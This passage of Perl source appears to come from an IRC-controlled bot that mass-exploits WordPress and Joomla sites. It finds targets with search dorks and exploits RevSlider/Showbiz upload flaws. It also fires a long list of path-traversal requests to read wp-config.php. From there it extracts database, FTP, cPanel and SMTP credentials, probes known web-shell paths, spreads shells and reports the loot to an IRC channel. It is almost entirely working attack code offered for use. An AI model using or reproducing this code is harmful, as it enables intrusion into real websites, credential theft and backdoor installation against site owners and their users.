FTP# my @ftp = &getConnect("ftp",$site,$user,$pass); if($ftp[0] ne "false") { &sendMsg(1,$id,$ftplogo,$logo,$engine,$chan,$nick, "3http://".$ftp[0]." ".$art{"circ1"}."USER:14".$ftp[1].$art{"circ2"}." ".$art{"circ1"}."PASS:14".$ftp[2].$art{"circ2"}); } else { &createList("$site $user,$pass", "site.txt"); } #GET CPANEL# my @cp = &getConnect("cpanel",$site,$user,$pass); if($cp[0] ne "false") { my $cps = "http://".$cp[0].":2082"; &sendMsg(1,$id,$cpanellogo,$logo,$engine,$chan,$nick, "3$cps ".$art{"circ1"}."USER:14".$cp[1].$art{"circ2"}." ".$art{"circ1"}."PASS:14".$cp[2].$art{"circ2"}); } } } } } } } } ######################################################################################################### # REVSLIDER EXPLOIT # # xpl : revslider.zip & showbiz.zip # ######################################################################################################### sub revslider_xpl { my ($chan,$bug,$dork,$logo,$engine,$nick,$id) = @_; my @total = &search_engine($chan,$bug,$dork,$engine,$revlogo); my $num = scalar(@total); if ($num > 0) { for(my $i = 0; $i <= $num; $i++) { if($i >= 10) { sleep(5);} if($i == ($num -1)) { my @newdata = &coiGetDork($chan, $engine); if($newdata[0] ne "false") { $num = ($num + scalar(@newdata)); push(@total, @newdata); } else { if(length($engine) > 2 ) { sleep(8); &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"}); } else { if(lc($engine) !~ /$tld/) { sleep(8); &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"}); } } } } my $site = $total[$i]; $site =~ s/wp\-content\/.*//; my $url = "http://".$site."/wp-admin/admin-ajax.php"; my $res = &_get($url); sleep(2); if($res->is_success or $res->decoded_content =~ /0/ ){ if (my $pid = fork){waitpid($pid, 0);}else{if(fork){exit; } else{ &revslider_action(1,$site,$engine,$chan,$nick,$id); &wpconfig_action(2,$site,$engine,$chan,$nick,$id); } exit; } } } } } sub revslider_action { my ($tipe,$site,$engine,$chan,$nick,$id) = @_; ############ ACTION SET ################ my $clone = "?ka&x=clone&path=..%2F..%2F..%2F..%2F..%2F..%2Fwp-admin%2Ffeed.php%2C..%2F..%2F..%2F..%2F..%2F..%2Fwp-admin%2Fincludes%2Findex.php"; my $patch = "?ka&x=patch&allow=feed.php%2Cindo.php"; my $plbot = "?ka&x=plbot"; my $mail = "?ka&x=mail"; my $dblink = "?ka&x=wdb"; my $logo = ($tipe == 2) ? $wpclogo : $revlogo; ####################################### my @bdpath = ( "/wp-admin/feed.php+".$osKey, "/wp-admin/includes/index.php+".$osKey, "/wp-content/plugins/revslider/temp/update_extract/revslider/.libs.php", "/wp-content/plugins/revslider/temp/update_extract/revslider/unix.php", "/wp-content/plugins/revslider/temp/update_extract/revslider/2x.php", "/wp-content/plugins/revslider/temp/update_extract/revslider/1x.php", "/wp-content/plugins/revslider/temp/update_extract/revslider/petx.php", "/wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/unix.php", "/wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/.libs.php", "/wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/2x.php", "/wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/1x.php", "/wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/petx.php", "/wp-content/plugins/index.php", "/wp-admin/includes/themes.php", "/wp-admin/unix.php", "/wp-admin/404.php", "/wp-includes/unix.php", "/.libs.php", "/wp-content.php", "/404.php", "/wp-xmlrpc.php", "/myluph.php" ); my @result = &backdoorCheck($site,@bdpath); if($result[0] ne "false") { sleep(5); my $msg = "3$result[0] ".$art{"circ1"}."OS:14$result[1]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$result[2]".$art{"circ2"}; &sendMsg(2,$id,$shellogo,$logo,$engine,$chan,$nick,$msg,$result[1],$result[2]); if($repeat) { &spreader("wordpress",$clone,$patch,$mail,$dblink,$plbot,$site,$result[0],"",$logo,0,$engine,$chan,$nick,$id); } if($logger) { my $file = "patch.txt"; if($result[3] == 0 or $result[3] == 1) {$file = "old.txt";} &saveTarget($file,$result[0],$result[1],$result[2]); } } else { my @rev = &revUpload($chan,$id,$engine,$site, "revslider"); if($rev[0] ne "failed") { if($rev[0] eq "false"){ my @show = &revUpload($chan,$id,$engine,$site, "showbiz"); if($show[0] ne "failed") { if($show[0] ne "false"){ sleep(5); my $safe = "3OFF"; if(lc($show[3]) eq "on") { $safe = "14ON";} my $msg = "3$show[0] ".$art{"circ1"}."OS:14$how[2]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$safe".$art{"circ2"}; &sendMsg(2, $id,$shellogo,$logo,$engine,$chan,$nick,$msg,$show[2],$safe); &spreader("wordpress", $clone,$patch,$mail,$dblink,$plbot,$site,$show[0],$show[1],$logo,1,$engine,$chan,$nick,$id); if($logger) { &saveTarget("new.txt",$show[0],$show[1],$show[2]);} } } } else { sleep(5); my $safe = "3OFF"; if(lc($rev[3]) eq "on") { $safe = "14ON";} my $msg = "3$rev[0] ".$art{"circ1"}."OS:14$rev[2]".$art{"circ2"}." ".$art{"circ1"}."SAFEMODE:14$safe".$art{"circ2"}; &sendMsg(2, $id,$shellogo,$logo,$engine,$chan,$nick,$msg,$rev[2],$safe); &spreader("wordpress", $clone,$patch,$mail,$dblink,$plbot,$site,$rev[0],$rev[1],$logo,1,$engine,$chan,$nick,$id); if($logger) { &saveTarget("new.txt",$rev[0],$rev[1],$rev[2]);} } } } } sub revUpload { my ($chan,$id,$engine,$site,$tipe) = @_; my @result = ("failed"); #--------------- set ---------------# my %revthemes = ( "default" => "/wp-content/plugins/revolution-slider/temp/update_extract/revolution-slider/", "liofolio" => "/wp-content/themes/liofolio/Lioit/revslider/temp/update_extract/revslider/", "ultimatum" => "/wp-content/themes/ultimatum/wonderfoundry/addons/plugins/revslider/temp/update_extract/revslider/", "centum" => "/wp-content/themes/centum/revslider/temp/update_extract/revslider/", "medicate" => "/wp-content/themes/medicate/script/revslider/temp/update_extract/revslider/", "beach_apollo" => "/wp-content/themes/beach_apollo/advance/plugins/revslider/temp/update_extract/revslider/", "avada" => "/wp-content/themes/Avada/framework/plugins/revslider/temp/update_extract/revslider/", "cuckootap" => "/wp-content/themes/cuckootap/framework/plugins/revslider/temp/update_extract/revslider/", "royaloak" => "/wp-content/themes/RoyalOak/framework/plugins/revslider/temp/update_extract/revslider/", "pindol" => "/wp-content/themes/pindol/revslider/temp/update_extract/revslider/", "striking_r" => "/wp-content/themes/striking_r/framework/plugins/revslider/temp/update_extract/revslider/", "paragon" => "/wp-content/themes/paragon/framework/plugins/revslider/temp/update_extract/revslider/", "cuckoobizz" => "/wp-content/themes/cuckoobizz/framework/plugins/revslider/temp/update_extract/revslider/", "designplus" => "/wp-content/themes/designplus/framework/plugins/revslider/temp/update_extract/revslider/", "stendhal" => "/wp-content/themes/stendhal/theme/templates/sliders/revolution-slider/temp/update_extract/revslider/", "schema-corporate" => "/wp-content/themes/schema-corporate/classes/revslider/temp/update_extract/revslider/", "bazar" => "/wp-content/themes/bazar/theme/templates/sliders/revolution-slider/temp/update_extract/revslider/", "incrediblewp" => "/wp-content/themes/incrediblewp/revslider/temp/update_extract/revslider/", "nevada" => "/wp-content/themes/nevada/revslider/temp/update_extract/revslider/", "coffeeandcream" => "/wp-content/themes/coffeeandcream/includes/revslider/temp/update_extract/revslider/", "edwards-theme" => "/wp-content/themes/edwards-theme/js/revslider/temp/update_extract/revslider/" ); ########### SET ######################## my $act = $injector."?x=".$site."&y=rev"; my $dir = "revslider"; if($tipe ne "revslider") { my $act = $injector."?x=".$site."&y=rev&showbiz"; $dir = "showbiz"; } my $path = "/wp-content/plugins/[plugin]/temp/update_extract/[plugin]/"; $path =~ s/\[plugin\]/$dir/ig; ########################################## my $response = &_get($act); sleep(3); if($response->decoded_content =~ /Wrong update extracted folder/ or $response->decoded_content =~ /Could not delete those files from the update folder/i) { @result = ("false"); my $upath = "http://".$site.$path."feed.php"; my $res = &get_content($upath."?".$osKey); sleep(3); if($res =~ m/SAFE_MODE/ig or $res =~ m/Uname/ig or $res =~ /GIF89a/ig or $res =~ /Touched by SiNaGa/ig){ my $safe = ""; my $os = ""; if ($res =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($res =~ m/Uname : (.*?)<\/b>/){ $os=$1;} @result = (); @result = ($upath,$path,$os,$safe); } else { if(lc($tipe) eq "revslider") { foreach my $k (sort keys %revthemes) { my $path2 = "http://".$site.$revthemes{"$k"}."feed.php"; my $res = &get_content($path2."?".$osKey); sleep(1); if($res =~ m/SAFE_MODE/ig or $res =~ m/Uname/ig or $res =~ /GIF89a/ig or $res =~ /Touched by SiNaGa/ig){ my $os = ""; my $safe = ""; if ($res =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($res =~ m/Uname : (.*?)<\/b>/){ $os=$1;} @result = (); @result = ($path2,$revthemes{"$k"},$os,$safe); last; } } } } } return @result; } ######################################################################################################### # WORDPRESS CONFIG # # xpl : - # ######################################################################################################### sub wpconfig_xpl { my ($chan,$bug,$dork,$logo,$engine,$nick,$id) = @_; my @total = &search_engine($chan,$bug,$dork,$engine,$logo); my $num = scalar(@total); if ($num > 0) { for(my $i = 0; $i <= $num; $i++) { if($i == ($num -1)) { my @newdata = &coiGetDork($chan, $engine); if($newdata[0] ne "false") { $num = ($num + scalar(@newdata)); push(@total, @newdata); } else { if(length($engine) > 2 ) { sleep(8); &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"}); } else { if(lc($engine) !~ /$tld/) { sleep(8); &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."14Im Done...".$art{"back"}); } } } } my $site = $total[$i]; $site =~ s/wp\-content\/.*//; &wpconfig_action(1,$site,$engine,$chan,$nick,$id); } } } sub wpconfig_action { my ($tipe,$site,$engine,$chan,$nick,$id) = @_; ########## ACTION SET ####################### my %wpconfig =( rev1 => "/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php", rev2 => "/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php", wpc1 => "/wp-content/plugins/contus-video-gallery/hdflvplayer/download.php?f=../../../../wp-config.php", wpc2 => "/wp-content/themes/mTheme-Unus/css/css.php?files=../../../../wp-config.php", wpc3 => "/wp-content/force-download.php?file=../wp-config.php", wpc4 => "/wp-content/plugins/ibs-mappro/lib/download.php?file=../../../../wp-config.php", wpc5 => "/force-download.php?file=../wp-config.php", wpc6 => "/wp-admin/admin.php?page=miwoftp&option=com_miwoftp&action=download&dir=/&item=wp-config.php&order=name&sr", wpc7 => "/wp-content/plugins/s3bubble-amazon-s3-html-5-video-with-adverts/assets/plugins/ultimate/content/downloader.php?path=../../../../../../../wp-config.php", wpc8 => "/wp-content/themes/markant/download.php?file=../../wp-config.php", wpc9 => "/wp-content/themes/yakimabait/download.php?file=./wp-config.php", wpc10 => "/wp-content/themes/TheLoft/download.php?file=../../../wp-config.php", wpc11 => "/wp-content/themes/felis/download.php?file=../wp-config.php", wpc12 => "/wp-content/themes/MichaelCanthony/download.php?file=../../../wp-config.php", wpc13 => "/wp-content/themes/trinity/lib/scripts/download.php?file=../../../../../wp-config.php", wpc14 => "/wp-content/themes/epic/includes/download.php?file=wp-config.php", wpc15 => "/wp-content/themes/urbancity/lib/scripts/download.php?file=../../../../../wp-config.php", wpc16 => "/wp-content/themes/antioch/lib/scripts/download.php?file=../../../../../wp-config.php", wpc17 => "/wp-content/themes/authentic/includes/download.php?file=../../../../wp-config.php", wpc18 => "/wp-content/themes/churchope/lib/downloadlink.php?file=../../../../wp-config.php", wpc19 => "/wp-content/themes/lote27/download.php?download=../../../wp-config.php", wpc20 => "/wp-content/themes/linenity/functions/download.php?imgurl=../../../../wp-config.php", wpc21 => "/wp-content/plugins/ajax-store-locator-wordpress_0/sl_file_download.php?download_file=../../../wp-config.php", wpc22 => "/wp-content/plugins/justified-image-grid/download.php?file=file:///C:/wamp/www/wp-config.php", wpc23 => "/wp-content/plugins/justified-image-grid/download.php?file=file:///C:/xampp/htdocs/wp-config.php", wpc24 => "/wp-content/plugins/justified-image-grid/download.php?file=file:///var/www/wp-config.php", wpc25 => "/wp-content/themes/acento/includes/view-pdf.php?download=1&file=/path/wp-config.php", wpc26 => "/wp-content/plugins/history-collection/download.php?var=../../../wp-config.php", wpc27 => "/wp-content/themes/SMWF/inc/download.php?file=../wp-config.php" ); if($tipe == 2) { my %wpconfig =( rev1 => "/wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php", rev2 => "/wp-admin/admin-ajax.php?action=revolution-slider_show_image&img=../wp-config.php" ); } my $logo = ($tipe == 2) ? $revlogo : $wpclogo; ############################################ foreach my $k (sort keys %wpconfig) { my $url = "http://".$site.$wpconfig{$k}; my $cek = &get_content($url); if($cek =~ /DB_HOST/i) { my($host, $db, $user, $usr, $pass); my $vic = &cleanUrl($site); if($cek =~ /['|"]db_name['|"].+\s['|"](.+)['|"]/i) { $db = $1;} if($cek =~ /['|"](db_host|db_hostname)['|"].+\s['|"](.+)['|"]/i) { $host = $2;} if($cek =~ /['|"](db_user|db_username)['|"].+\s['|"](.+)['|"]/i) {$user = $2;} if($cek =~ /['|"](db_pass|db_password)['|"].+\s['|"](.+)['|"]/i) {$pass = $2;} if($tipe == 1) { if(lc($host) eq "localhost" || lc($host) eq "localhost:3306" || $host eq "127.0.0.1" || $host eq "127.0.0.1:3306") { &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."3http://$vic ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}.$art{"back"}); } else { &msg("$chan",$art{"front"}."14ID:$id".$art{"div"}."15".uc($engine).$art{"div"}."3http://$vic ".$art{"circ1"}."HOST:14$host".$art{"circ2"}." ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}.$art{"back"}); my $checkdb = &getDb("mysql", $host, $db, $user, $pass); if($checkdb) { &sendMsg(1, $id,$dblogo,$logo,$engine,$chan,$nick, "3$vic ".$art{"circ1"}."HOST:14$host".$art{"circ2"}." ".$art{"circ1"}."DB:14$db".$art{"circ2"}." ".$art{"circ1"}."USER:14$user".$art{"circ2"}." ".$art{"circ1"}."PASS:14$pass".$art{"circ2"}); } } } #GET FTP# my @ftp = &getConnect("ftp",$site,$user,$pass); if($ftp[0] ne "false") { &sendMsg(1,$id,$ftplogo,$logo,$engine,$chan,$nick, "3http://".$ftp[0]." ".$art{"circ1"}."USER:14".$ftp[1].$art{"circ2"}." ".$art{"circ1"}."PASS:14".$ftp[2].$art{"circ2"}); } else { &createList("$site $user,$pass", "site.txt"); } my @cp = &getConnect("cpanel",$site,$user,$pass); if($cp[0] ne "false") { my $cps = "http://".$cp[0].":2082"; &sendMsg(1,$id,$cpanellogo,$logo,$engine,$chan,$nick, "3$cps ".$art{"circ1"}."USER:14".$cp[1].$art{"circ2"}." ".$art{"circ1"}."PASS:14".$cp[2].$art{"circ2"}); } if($tipe == 1) { if($k eq "rev1" or $k eq "rev2") { &revslider_action(2,$site,$engine, $chan, $nick,$id); } } last; } } } ######################################################################################################### # HELPER # ######################################################################################################### sub spreader { my ($tipe,$cloneLink,$patchLink,$mailLink,$dbLink,$plbot,$site,$result,$resPath,$logo,$action,$engine,$chan,$nick,$id) = @_; my $jftp = 0; if($action) { my $clone = $result.$cloneLink; my $patcher = $result.$patchLink; my $send = $result.$mailLink; my $pl = $result.$plbot; my $clean = $result."?ka&x=clear"; &get_content($clone); &get_content($pl); my $plb = "http://".$site.$resPath."pl.php"; &get_content($plb); sleep(4); &get_content($clean); &get_content($send); &get_content($patcher); } if($dbLink or $dbLink ne "") { my $config = $result.$dbLink; my $datas = &_get($config); if($datas->is_success) { my $data = $datas->decoded_content; my ($host,$db,$user,$pass); if($tipe eq "joomla") { if($data =~/\$(mosConfig_host|host|hostname)\s?\=\s?['|"](.+)['|"]/i) { $host = $2;} if($data =~/\$(mosConfig_db|db)\s?\=\s?['|"](.+)['|"]/i) { $db = $2;} if($data =~/\$(mosConfig_user|user|username)\s?\=\s?['|"](.+)['|"]/i) { $user = $2;} if($data =~/\$(mosConfig_password|pass|password)\s?\=\s?['|"](.+)['|"]/i) { $pass = $2;} } if($tipe eq "ninja") { if($data =~ /DB_HOST['|"]\:['|"](.+?)['|"]/i) { $host = $1;} if($data =~ /DB_NAME['|"]\:['|"](.+?)['|"]/i) { $db = $1;} if($data =~ /DB_USER['|"]\:['|"](.+?)['|"]/i) { $user = $1;} if($data =~ /DB_PASSWORD['|"]\:['|"](.+?)['|"]/i) { $pass = $1;} } if($tipe eq "wordpress") { if($data =~ /['|"](db_host|db_hostname)['|"].+\s['|"](.+)['|"]/i) { $host = $2;} if($data =~ /['|"]db_name['|"].+\s['|"](.+)['|"]/i) { $db = $1;} if($data =~ /['|"](db_user|db_username)['|"].+\s['|"](.+)['|"]/i) {$user = $2;} if($data =~ /['|"](db_pass|db_password)['|"].+\s['|"](.+)['|"]/i) {$pass = $2;} } if($user && $pass) { my @ftp = &getConnect("ftp",$site,$user,$pass); if($ftp[0] ne "false") { $jftp = 1; &sendMsg(1,$id,$ftplogo,$logo,$engine,$chan,$nick, "3http://".$ftp[0]." ".$art{"circ1"}."USER:14$ftp[1]".$art{"circ2"}." ".$art{"circ1"}."PASS:14$ftp[2]".$art{"circ2"}); if($logger) { &createList("http://".$ftp[0]."\nUSER:$ftp[1] PASS:$ftp[2]\n--------------------------------", "ftp.txt"); } } my @cp = &getConnect("cpanel",$site,$user,$pass); if($cp[0] ne "false") { my $cps = "http://".$cp[0].":2082"; &sendMsg(1,$id,$cpanellogo,$logo,$engine,$chan,$nick, "3$cps ".$art{"circ1"}."USER:14$cp[1]".$art{"circ2"}." ".$art{"circ1"}."PASS:14$cp[2]".$art{"circ2"}); if($logger) { &createList("$cps\nUSER:$cp[1] PASS:$cp[2]\n--------------------------------", "cpanel.txt"); } } } if(lc($tipe) eq "joomla") { #check ftp if(!$jftp) { my ($ftphost, $ftproot, $ftpuser, $ftppass); if($data =~/\$ftp_host\s?\=\s?['|"](.+)['|"]/i) {$ftphost = $1;} if($data =~/\$ftp_root\s?\=\s?['|"](.+)['|"]/i) {$ftproot = $1;} if($data =~/\$ftp_user\s?\=\s?['|"](.+)['|"]/i) { $ftpuser = $1;} if($data =~/\$ftp_pass\s?\=\s?['|"](.+)['|"]/i) { $ftppass = $1;} if($ftpuser && $ftppass) { my @ftp2 = &getConnect("ftp",$site,$ftpuser,$ftppass); if($ftp2[0] ne "false") { &sendMsg(1,$id,$ftplogo,$logo,$engine,$chan,$nick, "3http://".$ftp2[0]." ".$art{"circ1"}."USER:14$ftp2[1]".$art{"circ2"}." ".$art{"circ1"}."PASS:14$ftp2[2]".$art{"circ2"}); if($logger) { &createList("http://".$ftp2[0]."\nUSER:$ftp2[1] PASS:$ftp2[2]\n--------------------------------", "ftp.txt"); } } } } #check smtp if($data =~ /\$(mosConfig_smtpuser|smtpuser|smtp_user)/ig || $data =~ /$(mosConfig_smtppass|smtppass|smtp_pass)/ig) { my ($smtphost, $smtpport, $smtpuser, $smtppass); if($data =~/\$(mosConfig_smtphost|smtphost|smtp_host)\s?\=\s?['|"](.+)['|"]/i) { $smtphost = $2;} if($data =~/\$(mosConfig_smtpuser|smtpuser|smtp_user)\s?\=\s?['|"](.+)['|"]/i) { $smtpuser = $2;} if($data =~/\$(mosConfig_smtppass|smtppass|smtp_pass)\s?\=\s?['|"](.+)['|"]/i) { $smtppass = $2;} if($data =~/\$(smtpport|smtp_port)\s?\=\s?['|"](.+)['|"]/i) { $smtpport = $2;} if($smtphost ne "" and $smtpuser ne "" and $smtppass ne "") { my $vic = &cleanUrl($site); if($smtpport eq "") { $smtpport = "-"; } &sendMsg(1,$id,$smtplogo,$logo,$engine,$chan,$nick, "3http://".$vic." ".$art{"circ1"}."HOST:14$smtphost".$art{"circ2"}." ".$art{"circ1"}."PORT:14$smtpport".$art{"circ2"}." ".$art{"circ1"}."USER:14$smtpuser".$art{"circ2"}." ".$art{"circ1"}."PASS:14$smtpuser".$art{"circ2"}); } } #end } } } } sub backdoorCheck { my ($site,@path) = @_; my @result = ("false"); my ($url,$siteUrl); my $key = 0; foreach my $path(@path) { if($path =~ /\+/) { my @part = split(/\+/,$path); $url = "http://".$site.$part[0]."?".$part[1]; $siteUrl = "http://".$site.$part[0]; } else { $url = "http://".$site.$path; $siteUrl = "http://".$site.$path; } my $check = &get_content($url); sleep(3); if($check =~ m/SAFE_MODE/ig or $check =~ m/Uname/ig or $check =~ /GIF89a/ig){ my $safe = ""; my $os = ""; if ($check =~ m/SAFE_MODE : (.*?)<\/b>/) { $safe = $1;} if ($check =~ m/Uname : (.*?)<\/b>/){ $os=$1;} if(lc($safe) eq "on") { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } else { if($check =~ m/Software/ig or $check =~ m/Freespace/ig) { if ($check =~ m/SAFE MODE : (.*?)<\/b><\/font>/) {$safe = $1;} if ($check =~ m/OS : (.*?)
/) {$os = $1;} if($safe =~ /ON/i) { $safe = "14ON";} else { $safe = "3OFF";}; if($os ne ""){ @result = (); @result = ($siteUrl, $os, $safe,$key); last; } } } $key++; } return @result; } sub getConnect { my ($tipe,$site,$user,$pass) = @_; my $url = &cleanUrl($site); my @result = ("false"); my $usr = 0; if ($user =~ /_/) { my @userz = split("_", $user); $usr = $userz[0]; } if($tipe eq "ftp") { my $ftp = "ftp://".$user.":".$pass."@".$url; my $fcek = &get_content($ftp); sleep(2); if($fcek =~ /ftp/i){ @result = (); @result = ($url,$user,$pass); } else { my $ftp2 = &ftpConnect($url,$user,$pass); if($ftp2) { @result = (); @result = ($url,$user,$pass); } else { if($usr) { my $ftp3 = "ftp://".$usr.":".$pass."@".$url; my $fcek3 = &get_content($ftp3); if($fcek3 =~ /ftp/i) { @result = (); @result = ($url,$usr,$pass); } else { my $ftp4 = &ftpConnect($url,$usr,$pass); if($ftp4) { @result = (); @result = ($url,$user,$pass); } } } } } } if($tipe eq "cpanel") { my $cp = &getCpanel($url, $user, $pass); if($cp) { @result = (); @result = ($url,$user,$pass); } else { if($usr) { my $cp2 = &getCpanel($url, $usr, $pass); if($cp2) { @result = (); @result = ($url,$usr,$pass); } } } } return @result; } ######################################################################################################### # .SEARCH ENGINE SET. # ######################################################################################################### sub search_engine { my (@total,@clean); my ($chan, $bug,$dork,$engine,$logo,$id) = @_; if ($engine eq "ae") { my @ae = &coi($dork,"ae","0",1,10); push(@total,@ae); } if ($engine eq "by") { my @ae = &coi($dork,"by","18",1,10); push(@total,@ae); } if ($engine eq "ar") { my @ar = &coi($dork,"ar","1",1,10); push(@total,@ar); } if ($engine eq "at") { my @at = &coi($dork,"at","2",1,10); push(@total,@at); } if ($engine eq "au") { my @au = &coi($dork,"au","3",1,10); push(@total,@au); } if ($engine eq "br") { my @br = &coi($dork,"br","4",1,10); push(@total,@br); } if ($engine eq "ca") { my @ca = &coi($dork,"ca","5",1,10); push(@total,@ca); } if ($engine eq "cl") { my @cl = &coi($dork,"cl","6",1,10); push(@total,@cl); } if ($engine eq "cn") { my @cn = &coi($dork,"cn","7",1,10); push(@total,@cn); } if ($engine eq "cz") { my @cz = &coi($dork,"cz","8",1,10); push(@total,@cz); } if ($engine eq "de") { my @de = &coi($dork,"de","9",1,10); push(@total,@de); } if ($engine eq "dk") { my @dk = &coi($dork,"dk","10",1,10); push(@total,@dk); } if ($engine eq "es") { my @es = &coi($dork,"es","11",1,10); push(@total,@es); } if ($engine eq "eu") { my @eu = &coi($dork,"eu","12",1,10); push(@total,@eu); } if ($engine eq "fr") { my @fr = &coi($dork,"fr","13",1,10); push(@total,@fr); } if ($engine eq "hu") { my @hu = &coi($dork,"hu","14",1,10); push(@total,@hu); } if ($engine eq "id") { my @id = &coi($dork,"id","15",1,10); push(@total,@id); } if ($engine eq "il") { my @il = &coi($dork,"il","16",1,10); push(@total,@il); } if ($engine eq "in") { my @in = &coi($dork,"in","17",1,10); push(@total,@in); } if ($engine eq "it") { my @it = &coi($dork,"it","18",1,10); push(@total,@it); } if ($engine eq "jp") { my @jp = &coi($dork,"jp","19",1,10); push(@total,@jp); } if ($engine eq "kr") { my @kr = &coi($dork,"kr","20",1,10); push(@total,@kr); } if ($engine eq "mx") { my @mx = &coi($dork,"mx","21",1,10); push(@total,@mx); } if ($engine eq "my") { my @my = &coi($dork,"my","22",1,10); push(@total,@my); } if ($engine eq "nl") { my @nl = &coi($dork,"nl","23",1,10); push(@total,@nl); } if ($engine eq "ph") { my @ph = &coi($dork,"ph","24",1,10); push(@total,@ph); } if ($engine eq "pl") { my @pl = &coi($dork,"pl","25",1,10); push(@total,@pl); } if ($engine eq "ro") { my @ro = &coi($dork,"ro","26",1,10); push(@total,@ro); } if ($engine eq "ru") { my @ru = &coi($dork,"ru","27",1,10); push(@total,@ru); } if ($engine eq "th") { my @th = &coi($dork,"th","28",1,10); push(@total,@th); } if ($engine eq "ua") { my @ua = &coi($dork,"ua","29",1,10); push(@total,@ua); } if ($engine eq "uk") { my @uk = &coi($dork,"uk","0",1,10); push(@total,@uk); } if ($engine eq "us") { my @us = &coi($dork,"us","1",1,10); push(@total,@us); } if ($engine eq "si") { my @si = &coi($dork,"si","2",1,10); push(@total,@si); } if ($engine eq "be") { my @be = &coi($dork,"be","3",1,10); push(@total,@be); } if ($engine eq "tv") { my @tv = &coi($dork,"tv","4",1,10); push(@total,@tv); } if ($engine eq "cc") { my @cc = &coi($dork,"cc","5",1,10); push(@total,@cc); } if ($engine eq "as") { my @as = &coi($dork,"as","6",1,10); push(@total,@as); } if ($engine eq "ai") { my @ai = &coi($dork,"ai","7",1,10); push(@total,@ai); } if ($engine eq "ag") { my @ag = &coi($dork,"ag","8",1,10); push(@total,@ag); } if ($engine eq "az") { my @az = &coi($dork,"az","9",1,10); push(@total,@az); } if ($engine eq "bh") { my @bh = &coi($dork,"bh","10",1,10); push(@total,@bh); } if ($engine eq "bd") { my @bd = &coi($dork,"bd","11",1,10); push(@total,@bd); } if ($engine eq "bz") { my @bz = &coi($dork,"bz","12",1,10); push(@total,@bz); } if ($engine eq "bo") { my @bo = &coi($dork,"bo","13",1,10); push(@total,@bo); } if ($engine eq "ba") { my @ba = &coi($dork,"ba","14",1,10); push(@total,@ba); } if ($engine eq "vg") { my @vg = &coi($dork,"vg","15",1,10); push(@total,@vg); } if ($engine eq "bg") { my @bg = &coi($dork,"bg","16",1,10); push(@total,@bg); } if ($engine eq "bi") { my @bi = &coi($dork,"bi","17",1,10); push(@total,@bi); } if ($engine eq "co") { my @co = &coi($dork,"co","18",1,10); push(@total,@co); } if ($engine eq "cd") { my @cd = &coi($dork,"cd","19",1,10); push(@total,@cd); } if ($engine eq "cg") { my @cg = &coi($dork,"cg","20",1,10); push(@total,@cg); } if ($engine eq "ck") { my @ck = &coi($dork,"ck","21",1,10); push(@total,@ck); } if ($engine eq "cr") { my @cr = &coi($dork,"cr","22",1,10); push(@total,@cr); } if ($engine eq "hr") { my @hr = &coi($dork,"hr","23",1,10); push(@total,@hr); } if ($engine eq "cu") { my @cu = &coi($dork,"cu","24",1,10); push(@total,@cu); } if ($engine eq "ci") { my @ci = &coi($dork,"ci","25",1,10); push(@total,@ci); } if ($engine eq "dj") { my @dj = &coi($dork,"dj","26",1,10); push(@total,@dj); } if ($engine eq "dm") { my @dm = &coi($dork,"dm","27",1,10); push(@total,@dm); } if ($engine eq "do") { my @do = &coi($dork,"do","28",1,10); push(@total,@do); } if ($engine eq "ec") { my @ec = &coi($dork,"ec","29",1,10); push(@total,@ec); } if ($engine eq "eg") { my @eg = &coi($dork,"eg","0",1,10); push(@total,@eg); } if ($engine eq "sv") { my @sv = &coi($dork,"sv","1",1,10); push(@total,@sv); } if ($engine eq "ee") { my @ee = &coi($dork,"ee","2",1,10); push(@total,@ee); } if ($engine eq "et") { my @et = &coi($dork,"et","3",1,10); push(@total,@et); } if ($engine eq "fj") { my @fj = &coi($dork,"fj","4",1,10); push(@total,@fj); } if ($engine eq "fi") { my @fi = &coi($dork,"fi","5",1,10); push(@total,@fi); } if ($engine eq "gm") { my @gm = &coi($dork,"gm","6",1,10); push(@total,@gm); } if ($engine eq "gi") { my @gi = &coi($dork,"gi","7",1,10); push(@total,@gi); } if ($engine eq "gr") { my @gr = &coi($dork,"gr","8",1,10); push(@total,@gr); } if ($engine eq "gl") { my @gl = &coi($dork,"gl","9",1,10); push(@total,@gl); } if ($engine eq "gt") { my @gt = &coi($dork,"gt","10",1,10); push(@total,@gt); } if ($engine eq "gg") { my @gg = &coi($dork,"gg","11",1,10); push(@total,@gg); } if ($engine eq "ht") { my @ht = &coi($dork,"ht","12",1,10); push(@total,@ht); } if ($engine eq "hn") { my @hn = &coi($dork,"hn","13",1,10); push(@total,@hn); } if ($engine eq "hk") { my @hk = &coi($dork,"hk","14",1,10); push(@total,@hk); } if ($engine eq "is") { my @is = &coi($dork,"is","15",1,10); push(@total,@is); } if ($engine eq "ie") { my @ie = &coi($dork,"ie","16",1,10); push(@total,@ie); } if ($engine eq "im") { my @im = &coi($dork,"im","17",1,10); push(@total,@im); } if ($engine eq "je") { my @je = &coi($dork,"je","18",1,10); push(@total,@je); } if ($engine eq "jo") { my 